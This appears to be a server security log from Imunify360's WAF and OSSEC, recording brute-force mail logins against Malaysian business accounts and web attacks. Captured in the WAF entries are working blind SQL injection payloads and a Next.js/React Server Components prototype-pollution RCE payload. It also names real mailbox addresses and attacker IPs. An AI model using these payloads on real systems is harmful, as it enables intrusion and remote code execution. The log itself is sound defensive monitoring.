name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1\")) or (select 2309 from (select(sleep(10)))lkox)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1\")) OR (SELECT 2309 FROM (SELECT(SLEEP(10)))lkox)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:key||MV:1) AND 2491 BETWEEN (SELECT AND (SELECTCOUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- UuUY||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1\")) OR (SELECT 2309 FROM (SELECT(SLEEP(10)))lkox)#||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:58:17 dovecot_login authenticator failed for H=(0Sb5Jg) [178.16.52.139]:62464: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1\")) or (select 2309 from (select(sleep(10)))lkox)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:58:26 dovecot_login authenticator failed for H=(uyFxlp) [158.94.208.175]:60735: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 14:58:31 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:36490: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:58:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58036: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:58:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60528: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.166
country_id: 2635167
description:
2026-02-01 14:59:07 228240 [Warning] Aborted connection 228240 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:59:58 dovecot_login authenticator failed for H=(Fop2m4Lak) [178.16.52.139]:54189: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: wcc.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769929144_620',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: mail.box.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769929145_1933',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5d2872ddf32bd3da4ab5bfe70dd369ef06ea14c1||Title:0x8cf48d7e||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:59:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:59:04 dovecot_login authenticator failed for H=(Pwl0KiRw) [178.16.52.139]:59074: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:59:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63658: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:59:44 dovecot_login authenticator failed for H=(TqczEvxW9X) [178.16.54.22]:64877: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:59:16 dovecot_login authenticator failed for H=(yCILIaE) [158.94.208.175]:59502: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.168.86.6
country_id: 2017370
description:
2026-02-01 15:00:31 dovecot_login authenticator failed for H=([188.168.86.6]) [188.168.86.6]:55642: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.247.189.189
country_id: 6252001
description:
2026-02-01 15:00:42 dovecot_login authenticator failed for H=([50.247.189.189]) [50.247.189.189]:26558: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:00:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43614: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:00:07 dovecot_login authenticator failed for H=(DIDleDKyh) [158.94.208.175]:60713: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:331f60029901e38e3b9fc47c7a065bfa0dddd0c5||Title:0xaa8d1b14||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:00:57 dovecot_login authenticator failed for H=(3g7ehGhr) [178.16.54.22]:51051: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:00:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:00:21 dovecot_login authenticator failed for H=(TTXeP3Q) [178.16.52.139]:65393: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-02-01 15:00:46 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:43844: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:00:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53230: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:01:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:01:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58882: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:01:19 dovecot_login authenticator failed for H=(dLTl6MOhKR) [158.94.208.175]:49937: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-01 15:01:25 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:50904: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:01:03 dovecot_login authenticator failed for H=(uiwsjGi) [178.16.52.139]:57011: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d46bda3e833ab9b78f85dbea9ddbe0bba7080d5||Title:0xcce54a5d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:02:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48154: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b1f48a1fe70edf664683b9150822a56b4c1dcfa8||Title:0x4d3970de||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:02:07 dovecot_login authenticator failed for H=(99QAyp) [178.16.52.139]:62527: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:02:08 dovecot_login authenticator failed for H=(wstxEFB) [178.16.54.22]:52872: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:02:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:02:03 dovecot_login authenticator failed for H=(MBwPuc0g) [158.94.208.175]:58279: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:02:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54506: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:03:27 dovecot_login authenticator failed for H=(jFYO9O) [158.94.208.175]:61729: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:03:23 dovecot_login authenticator failed for H=(JtgVFgZq) [178.16.54.22]:63538: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:03:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64097: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:03:14 dovecot_login authenticator failed for H=(N8U4yS5n) [178.16.52.139]:63483: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 15:04:41 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:55236: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:04:42 dovecot_login authenticator failed for H=(AGQECCx) [178.16.54.22]:51383: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.83
country_id: 1814991
description:
2026-02-01 15:04:47 dovecot_login authenticator failed for H=([111.26.63.82]) [111.26.63.83]:38014: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:04:08 dovecot_login authenticator failed for H=(ClM4lYu7j) [178.16.52.139]:53965: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:04:18 dovecot_login authenticator failed for H=(7S5uin5DF) [178.16.52.139]:62548: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-01 15:04:29 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:42258: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-02-01 15:04:59 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net [96.56.228.149]:46810: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:04:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53710: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 15:05:01 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:60920: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:04:16 dovecot_login authenticator failed for H=(qDOkmT) [158.94.208.175]:55190: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aa8b2fbb3e723a8df0bcf8e574530dc9f6fa1f88||Title:0x63d75884||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-01 15:05:10 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:44162: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02e565a6b8a79205bbdafb8af227f7cfe2f13119||Title:0xe903e30d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:05:37 dovecot_login authenticator failed for H=(dhqZCYkW) [178.16.54.22]:56071: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 15:05:51 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:52473: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:05:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54370: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:05:09 dovecot_login authenticator failed for H=(5GzAVGo) [158.94.208.175]:50699: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:05:12 dovecot_login authenticator failed for H=(Pt4XWZ) [178.16.52.139]:57644: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:05:37 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49899: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:06:14 dovecot_login authenticator failed for H=(Z7bGg8Hyu) [158.94.208.175]:59494: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:13f474ade6c7b89bfc84478ea25a4e0b019b1b13||Title:0xc3df3b82||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:06:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56458: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 15:06:02 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:33970: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:06:08 dovecot_login authenticator failed for H=(E5EnSiMoa) [178.16.52.139]:56136: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.170.126
country_id: 1814991
description:
2026-02-01 15:06:12 dovecot_login authenticator failed for H=([220.180.170.126]) [220.180.170.126]:34580: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 15:07:20 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:42656: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.198.83
country_id: 1327865
description:
2026-02-01 15:07:18 dovecot_plain authenticator failed for H=(Q171B58071) [103.197.198.83]:56596: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:07:29 dovecot_login authenticator failed for H=(26ecJs60Pg) [158.94.208.175]:50590: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:53be31ca7d16baeb20681a63093eaf65f0e91829||Title:0xcc0199bb||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:07:06 dovecot_login authenticator failed for H=(OJzW4r) [178.16.54.22]:51918: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:07:08 dovecot_login authenticator failed for H=(psNIXLi7) [178.16.52.139]:65349: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 15:07:41 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:47238: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.210.38.92
country_id: 390903
description:
2026-02-01 15:07:32 dovecot_plain authenticator failed for H=(propary) [149.210.38.92]:39553: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 15:07:33 228605 [Warning] Aborted connection 228605 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 101.0.38.15
country_id: 1269750
domain: symphony-led.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:49393.symphony-led.com||ServerName:symphony-led.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4594accfc416e9ab830fbd2678cd511722d258c0||Title:0xa31725e0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:07:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62275: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:07:30 dovecot_login authenticator failed for H=(rFn1jQzX3v) [178.16.52.139]:51201: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 15:07:05 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:34148: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:07:10 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33676: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 15:08:30 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:34952: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:08:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52173: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:119f84a5c92cea5623b1d2b4f01c978e3dda2bac||Title:0x9aca936f||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:08:19 dovecot_login authenticator failed for H=(5ZPUITMoBg) [158.94.208.175]:53020: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-01 15:08:43 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:35728: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-02-01 15:09:01 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:51781: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-02-01 15:08:58 dovecot_login authenticator failed for H=([223.26.225.129]) [210.206.24.234]:32161: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 15:08:02 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:35666: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:08:10 dovecot_login authenticator failed for H=(Ko9LqyGe5o) [178.16.52.139]:65377: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:08:46 dovecot_login authenticator failed for H=(rYzXUiGlws) [178.16.54.22]:56333: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:09:57 dovecot_login authenticator failed for H=(TVDbQeHZYH) [178.16.54.22]:62412: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-02-01 15:09:11 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:63987: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.196.202.17
country_id: 3175395
description:
2026-02-01 15:09:40 dovecot_login authenticator failed for H=([2.196.202.17]) [2.196.202.17]:33072: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.145.54
country_id: 1269750
description:
2026-02-01 15:09:56 dovecot_login authenticator failed for H=([128.185.135.33]) [122.185.145.54]:40352: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
